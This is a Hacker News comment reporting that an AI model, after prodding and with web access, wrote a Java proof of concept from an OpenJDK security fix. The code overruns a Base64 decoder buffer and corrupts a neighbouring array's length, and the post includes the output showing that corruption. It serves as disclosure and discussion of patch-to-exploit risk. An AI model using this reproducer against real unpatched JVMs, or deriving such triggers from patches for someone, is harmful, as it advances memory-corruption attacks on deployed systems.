logoalt Hacker News

fweimer • yesterday at 10:26 PM • 0 replies • view on HN

GLM 5.3 produced this after a bit of prodding. I started out with the C++ sources with a bug marker instead of the fix: https://github.com/openjdk/jdk/commit/5177a70b385c16f26ede19...

There are only a bunch of commits that came in the latest merge of security fixes, and this one changed VBMI-related intrinsics code, so it's a good match for what was publicly disclosed at the time.

    import java.util.Arrays;
    import java.util.Base64;
    
    public class Canary {
        // static fields defeat escape analysis so dst/canary really live in the heap
        static byte[] dst;
        static byte[] canary;
    
        public static void main(String[] args) {
            // (input, expected decodedOutLength) pairs:
            //   65 = "A"*64 + "="    -> fragment "="   (length 1, trailing pad)
            //   66 = "A"*64 + "Q="   -> fragment "Q="  (length 2, trailing pad)
            //   67 = "A"*64 + "QQ="  -> fragment "QQ=" (length 3, trailing pad)
            //   68 = "A"*64 + "QQ==" -> fragment 4 bytes, well-formed control case
            int[][] cases = { { 65, 50 }, { 66, 50 }, { 67, 50 }, { 68, 49 } };
            byte[][] srcs = new byte[cases.length][];
            for (int c = 0; c < cases.length; c++) {
                int len = cases[c][0];
                byte[] src = new byte[len];
                Arrays.fill(src, (byte) 'A');
                if (len == 65) { src[64] = '='; }
                if (len == 66) { src[64] = 'Q'; src[65] = '='; }
                if (len == 67) { src[64] = 'Q'; src[65] = 'Q'; src[66] = '='; }
                if (len == 68) { src[64] = 'Q'; src[65] = 'Q'; src[66] = '=';
                    src[67] = '='; }
                srcs[c] = src;
            }
    
            int iters = 300_000;
            for (int iter = 0; iter < iters; iter++) {
                for (int c = 0; c < cases.length; c++) {
                    byte[] src = srcs[c];
                    int dstLen = cases[c][1];
                    // fresh dst, then canary IMMEDIATELY after it in the TLAB
                    dst = new byte[dstLen];
                    canary = new byte[64];
                    Arrays.fill(canary, (byte) 0x41);
                    int before = canary.length;
                    try {
                        Base64.getDecoder().decode(src, dst);
                    } catch (IllegalArgumentException e) {
                        // expected for the malformed tails
                    }
                    if (canary.length != before || changed(canary)) {
                        System.out.println(
                            "*** ITERATION " + iter + ", input length " + src.length
                            + ": DESTINATION BUFFER OVERRUN DETECTED");
                        System.out.println(
                            "canary.length = " + canary.length + " (expected 64)");
                        System.out.println(
                            "canary bytes  = " + toHex(canary, 48));
                        return;
                    }
                }
                if (iter % 50_000 == 0)
                    System.out.println("iter " + iter + ": clean so far");
            }
            System.out.println(
                "no corruption detected in " + iters + " iterations");
        }
    
        static boolean changed(byte[] b) {
            for (byte x : b) if (x != 0x41) return true;
            return false;
        }
    
        static String toHex(byte[] b, int n) {
            StringBuilder sb = new StringBuilder();
            for (int i = 0; i < 64; i++)
                sb.append(String.format("%02x ", b[i]));
            return sb.toString();
        }
    }
I had to fix toHex() not to use b.length, otherwise it wouldn't print anything due to the negative array length field.

    *** ITERATION 4076, input length 67: DESTINATION BUFFER OVERRUN DETECTED
    canary.length = -1700370022 (expected 64)
    canary bytes  = 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 69 a6 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 9a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 

GLM had web access for this, and it was able retrieve the OpenJDK fix. I don't know if it found the reproducer in its web searches.

Turning this into a reliable exploit probably still requires some expertise. It's going to depend on heap layout at the time of the overflow. Targets won't be auto-selecting themselves like they did for Log4Shell.